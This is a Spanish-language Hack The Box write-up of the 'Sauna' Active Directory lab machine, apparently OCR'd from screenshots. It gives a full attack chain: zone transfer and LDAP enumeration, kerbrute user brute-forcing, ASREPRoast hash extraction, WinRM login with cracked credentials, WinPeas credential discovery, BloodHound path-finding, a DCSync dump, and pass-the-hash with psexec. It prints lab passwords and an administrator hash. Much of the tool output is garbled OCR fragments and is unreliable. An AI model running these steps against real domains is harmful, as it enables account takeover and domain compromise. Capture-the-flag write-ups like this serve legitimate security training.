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MAQUINA SAUNA - HACK THE BOX
ACTIVE DIRECTORY
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Topics

- Zone TransferAttack

- Ldap enumeration

- Brute Force with Kerbrute - User Enumeration

- ASRProas Attack - GetNpusers

- RCPClient Domain User Enumeration

- Windows Remote Administration Access

- Enumeration with WinPeas — Credential Autologon

- BloodHound + neo4j -SharpHound.ps1

- DCSync Attack Impacket-Secretsdump (Domain Admin)
- Impacket-psexec -PassTheHash

Reconocimiento y Enumeracion

Iniciamos comprobando conectividad con el DC

175)

icmp_

Tenemos un ttl 127 = Maquina Windows
Realizare reconocimiento de puertos con nmap

Snmap -p- --open -sCV -n -v —min-rate 5000 10.10.10.175 -oN Ports

E: .93 scan initiated 5 i as: nmap -p open -sCV -n
p scan report 10.1 . 17
12s latency).
filtered tcp ports (no-response)
be reported filtered due to defeat-rst-ratelimit

open
open

ds: OPTI
_ sky methods
_http-server-header
http-title: Egotist
open kerberos-sec Wi s Kerberos (server time
open msrpc ft Windows RPC
open netbios-ssn ft s netbios-ssn
open ldap Wi ws Active Directory LDAP (Domain
site-Name)
open microsoft-ds
open kpasswd5
open ncacn_http
tep open tcpwrapped

t Windows RPC over HTTP 1.0
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tcp open ldap Mi ft Win s A Jirectory n: EGOTISTICAL-BA s te: Defaul
ame )
open tcpwrapped
5085/tcp open http
_http-server-header
http-title: Not Four
open mc nmf

open msrpc t
open ncacn_http ft Wi over HTTP 1.0
open mSrpc
open msrpc
open msrpc
open msrpc d S

e Info: Host S i o:microsoft:windows

Veo que es un DC por lo cual mi estrategia de ataque iniciar directamente con el puerto 445 SMB,
veamos en realizad que sistema operativo es:

Scrackmapexec smb 10.10.10.175

10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOC

Tenemos un Windows 10 Build x64

Después de realizar reconocimiento directamente por SMB, no puede encontrar nada por lo cual
me dirijo a realizar enumeracién por el puerto 53 ya que puedo efectuar un domain zone tranfer
Attack enumerando servidores de correo, nombres de servidores etc. Esto lo realizare con la
herramienta dig

Sdig @10.10.10.175 EGOTISTICAL-BANK.LOCAL mx

10.175 EGOTISTICA K.LOCAL mx

.12-1-Debian > @1 .175 EGOTISTICAL-BANK.LOCAL mx
- found)

Y: 1, ADDITIONAL: 1

; udp: 4000
;3 QUESTION SECTIO
GOTISTICAL-BANK

sauna.EGOTISTICAL-BANK.LOCAL. hostmaster.EGOTISTICAL-BANK.LOCAL.

OPT PSEUDOSECTION:
; EDNS: ve n: 0, flags:; udp: 4000
;3 QUESTIO C
;EGOTISTICAL-BANK.LOCAL. \ NS

;5 ANSWER SECTION:
EGOTISTICAL-BANK.LOCAL. 3600 \ NS sauna.EGOTISTICAL-BANK.LOCAL.

DITIONAL SECTI

.EGOTISTICAL-BANK.LOCAL. 3600 IN 10.10.10.175
sauna.EGOTISTICAL-BANK.LOCAL. 36€ \ C ::609e:4c2e:2dle:fech
sauna.EGOTISTICAL-BANK.LOCAL. 3600 IN dea 4

Query time: 104 msec
;3 SERVER: 10.10.10.175#53(10.10.10 ) (UDP)
;3 WHEN: Thu Jun 08 16:2 2 CS
;3 MSG SIZE rcvd: 143
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Tenemos una direccién IPv6 que con esto podemos realizar enumeracion de puertos, posiblemente
encuentre mas puertos que por IPv4 no pueda ver

De resto no puede encontrar mds cosas ejecutando Sdig @10.10.10.175 EGOTISTICAL-BANK.LOCAL
axfr

Realizare un escaneo de puertos por IPv6 con nmap
Snmap -p- --open -sCV -n -v —min-rate 5000 dead:beef::609e:4c2e:2d1e:fec6 -6 -oN IPv6Ports

19/tcp open ms-wbt-server oft Terminal Services
_ssl-date: 2023-06-09T05:29:22+00:00: 6h59m585 from scanner time.
ssl-cert: Subject: commonName \ G STIC SANK . LOCAL
Issuer: commonName=SAUNA.EGOTISTICAL-BANK
Public y type: rsa
Public [ 2048
Signature Algorithm: sha256WithRSAEncryption
Not wvalid before D6 08
“JT valid after 12 0
) 9e®3cd68cdb3e70c7d1392253037bdcO
_5Hﬂ 1: b36983T0Talc216TT2b875ee57983c369ced%9a%b
rdp-ntlm-info
Target_ Hamﬂ EGOTIS
NetBIOS_Dom
HQTEIO

Debido a que no puede encontrar mucho por IPv6, realizare enumeracion por el servicio LDAP, y es
gue existen muchas maneras para poder enumerar este servicio.

Descripcion

LDAP (Lightweight Directory Access Protocol) es un protocolo de aplicacion estandar utilizado para
acceder y mantener informacién almacenada en un servicio de directorio. Un servicio de directorio
es una base de datos jerarquica disefiada para almacenar informacidon de manera estructurada y
accesible. LDAP proporciona una forma eficiente de consultar, modificar y administrar datos en un
servicio de directorio.

LDAP se basa en un modelo cliente-servidor, donde los clientes LDAP realizan consultas y solicitan
informacidn al servidor LDAP. El servidor LDAP almacena la informacién en una estructura
jerarquica llamada arbol de directorio. Cada entrada en el arbol de directorio esta identificada por
un Distinguished Name (DN), que es una cadena Unica que identifica la posicién de la entrada en la
estructura jerarquica.
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El protocolo LDAP define una serie de operaciones que se pueden realizar en el servicio de
directorio, como busqueda de informacidn, agregar, modificar y eliminar entradas, autenticacién
de usuarios, entre otras. Estas operaciones se realizan mediante mensajes LDAP enviados entre el
cliente y el servidor a través de un canal de comunicacion.

LDAP se utiliza ampliamente en entornos de red para gestionar informacién de usuarios, como
nombres, direcciones, nimeros de teléfono, direcciones de correo electrénico y otros atributos. Es
especialmente comun en la autenticacidn y autorizacidén de usuarios en sistemas y aplicaciones.
También se utiliza en la integracién de diferentes servicios de directorio y aplicaciones,
permitiendo la sincronizacién y el intercambio de informacion entre ellos.

Primero iniciare con la herramienta nmap utilizando las banderillas -n -sV —script(Comando
proporcionado por la plataforma HackTricks)

https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap

Snmap -n -sV --script "ldap* and not brute" 10.10.10.175

ft Terminal
CPE:

Después de una gran cantidad de inforamcion que nos arrojo el escaneo, noto que al final tengo un
nombre de usuario “Hugo Smith”, que en un entorno de directorio activo se resume en los
siguientes nombres

Hsmit
HugoSmith
Hugo.Smith

Ahora que tengo un nombre de dominio, puedo realizar fuerza bruta con Kerbrute para validar si
algunos de estos usuarios creados con la referencia creada son valido.

Skerbrute -users users.txt -domain EGOTISTICAL-BANK.LOCAL -dc-ip 10.10.10.175
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Valid user => hsmith

No passwords were discovered

Tenemos la sintaxis correcta para un usuario “hsmith”

Bueno, esto me da una sefial como atacante de poder efectuar un ASREProastattack

Un ataque de "ASREPRoast" es un tipo de ataque cibernético que aprovecha una vulnerabilidad en
el protocolo de autenticacidn de servicios de directorio Active Directory (AD) de Microsoft.
ASREPRoast (también conocido como "ASREP Roasting") se enfoca en los servicios que utilizan la
autenticacién de cifrado débil en el dominio de Active Directory.

En un ataque ASREPRoast, un atacante intenta obtener contrasefias de cuentas de usuario en un
dominio de Active Directory que utiliza la autenticacidn Kerberos. A diferencia de los ataques de
fuerza bruta tradicionales, que intentan adivinar la contrasefia, un ataque ASREPRoast se centra en
las cuentas de usuario que tienen la opcidn "No es necesario el cifrado para esta cuenta" habilitada
en sus atributos de cuenta.

El ataque consiste en solicitar un ticket de autenticacion "AS-REP" para una cuenta especifica y, si
se concede, el atacante puede extraer el hash del ticket y utilizar técnicas de cracking offline para
obtener la contrasefia en texto claro. Esto se debe a que el hash del ticket AS-REP no esta
protegido por una clave de cifrado derivada de la contrasefa del usuario.

Esto lo realizare con la herramienta GetNPUsers.py tratando de solicitar un TGT que se reduce a un
hash formato Kerberos AS-REP.

GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt

UF_DONT_REQUIRE_PREAUTH set
C_ERR_C_PRINCIPAL_UNKNO Client not found in Kerbe

{DC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerbérm

Al parecer el usuario hsmith, no cuenta con UF_DONT_REQUIRE_PREAUTH set por lo cual no
puedo obtener un hash que pueda romper.

Habia visto que el puerto 80 esta abierto por lo cual echare un vistazo con la finalidad de poder
encontrar algo.
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http://10.10.10.175/

ecurity [JLearning R

Egotistical Bank

ant all of your money and we're not afraid to ask!

Después de realizar enumeracion, pude localizar nombres de usuarios que por lo que analizo, son
nombres de usuarios validos y como conozco la sintaxis que utilizan en el dominio para poder
otorgar nombres a los usuarios voy a trasladar esos nombres a un diccionario para después realizar
fuerza bruta con kerbrute.
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fsmith
scoins
sdriver
btaylor
hbear
skerb
hsmith
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Shaun Coins

Fergus Smith

Bowie Taylor

Hugo Bear

Steven Kerb

Sophie Driver
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fuerza bruta con kerbrute.

LOCAL -dc-ip 10

Tenemos un usuario nuevo encontrado, creo que son hermanos. Realizare de nuevo
ASREProastattack para solicitar un TGT y veremos si obtengo un hash

SGetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt

tionWarning:

Tengo un hash que ahora intentare romperlo con fuerza bruta para lograr obtener una contrasefa
en texto claro.

Tenemos la contrasefia de _

Validamos contrasefa con crackmapexec:

.10.10.175 -u smit -p 'Thestrokes
175 445 \ [*] Wind
445 ) [+] EGOTIS

Me pone un [ + ] que esto se traduce a que es una contrasefia valida, por lo cual ahora que tengo
una contrasefa valida con rpcclient intentare obtener usuarios validos del dominio
proporcionando estas credenciales

Tenemos usuarios validos del dominio
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Explotacion

Guardo nuevos usuarios y valido si de alguien mas es esta contrasefia.

[+] EGOTISTICAL-

Al parecer HSmith y FSmith son los mismos, pero ahora verificare si algunos de estos usuarios
pertenecen al grupo de administracion remata de Windows para poder conectarme directamente
por el puerto 5985

SANK . LOCAL)

inRM* PS CE\Users\FSmtth\Documents> whoamt
ficalbank\fsmith
WinRM* PS C:\Users¥

Windows IP Configuration

Ethernet adapter Ethernet0

Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::
IPv6 Address. . . . . . . . . . . i C : be ::609e:4c2e:2dle: fecb
Link-local IPv6 Address . . . . =3 =Y | - :2dle:fecb%7
IPv4 Addr ¢
Subnet Mask G ey op g e e : L)
Default Gateway . . . . . . . . . ! Te80::250:56ff:feb9:2e45%7
10.10.10.2
*Evil-WinRM* PS C:\Users\FSmith\Documents>
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Escalada de Privilegios

Después de enumerar un poco el sistema, solo puede encontrar que el usuario svc_loadmrg
pertenece al grupo “Remote Management Users”

fault)

por lo cual intentare encontrar con un reconocimiento un poco mas exhaustivo algun archivo o
credenciales que me pueda reportar WinPeas.exe

oanmgr

ing for Auto
1 als

Tenemos las credenciales de svc_loadmrg y comprobamos con crackmapexec

Scrackmapexec smb 10.10.10.175 -u 'svc_loadmgr' -p 'Moneymakestheworldgoround!'

loanmgr' -p '

_ ILE0
e [+

A
_loanmgr' -p

SMB
HTTP
WINRM
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Ahora que sé, que puedo conectarme igualmente como el usuario svc_loanmgr utilizando evil-
winrm

_loanmgr\Documents> whoami

Loanmgri\Documents> ipconfig

Windows IP Configuration

Ethernet adapter Ethernetd®

cific DNS Suffix

6ff:feb9:2

*Evil-WinRM* PS

Después de realizar enumeracidn, no encuentro nada nuevo al parecer estamos de la misma
manera que como el usuario anterior por lo cual me obliga a utilizar bloodhoun con neo4;.

Primero me descargare un script de PowerShell el SharpHoung.ps1 para subirlo a la maquina
victima y que el mismo script me ayude a recolectar toda la informacidn del sistema,
posteriormente subirlo a mi herramienta bloodhoun y tratar de trazar una via potencial para
convertirme en “Domain Admin”

1- Descargamos y subimos el script Shaphoung.ps1

*Evil-WinRM* PS C:\Win Temp\Priv
Directory: C:\Winc emp\Priv

LastWriteTime

\M

*Evil-WinRM* PS C:\Wind Temp\Priv> |

3 Thu Jun 8 13:58:41 2 SharpHound.ps1
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2- Importamos modulo para que podamos ejecutar la funcién Invoke-BloodHound

Import-Module .\SharpHound.ps1

harpHound.ps1

reflection. The appropriate function

Ahora que tenemos la informacién en un archivo .zip, lo pasare al bloodhoun para trazar mi
ruta de privilegios.

Upload Progress

20230609003048_groups.json

20230609003048_users.json

20230609003048_gpos.json

Clear Finished

Una ves cargado, vere las formas potenciales que tiene este usuario para poder escalar
privilegios.
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Después de investigar un poco, veo que el usuario svc_loanmgr tiene privilegios sobre
EGOTISTICAL-BANK.LOCA de GetChangesall

GOTISTICAL-BANK.LOCAL

INFO BloodHOun

El usuario SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL tiene el privilegio DS-Replication-Get-
Changes-All en el dominio EGOTISTICAL-BANK.LOCAL.

Individualmente, esta ventaja no otorga la capacidad de realizar un ataque. Sin embargo, junto con
DS-Replication-Get-Changes, un principal puede realizar un ataque DCSync.

Con los privilegios GetChanges y GetChangesAll en BloodHound, puede realizar un ataque dcsync
para obtener el hash de la contrasefia de un principal arbitrario utilizando mimikatz:

Isadump::dcsync /dominio:testlab.local /usuario:Administrador

Después de la informacion obtenida con Bloodhoun, nos recomienda obtener el hash del usuario
admin con mimikats, pero yo lo are con impacket-secretsdump de la siguiente manera

2[5
o[L
5[k
2[5
2[5
o[k
2[5
2[5
o[k
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Tenemos el hash del usuario Administrador, por lo cual podemos realizar passthehash para
conectarnos al dominio con psexec.py

impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 -hashes
:823452073d75b9d1cf70ebdf86c7f98e

-ipconfig

Windows IP Configuration

Ethernet adapter Ethernet@ 2:

specific DNS Suffix

Sub
Default

PWNED
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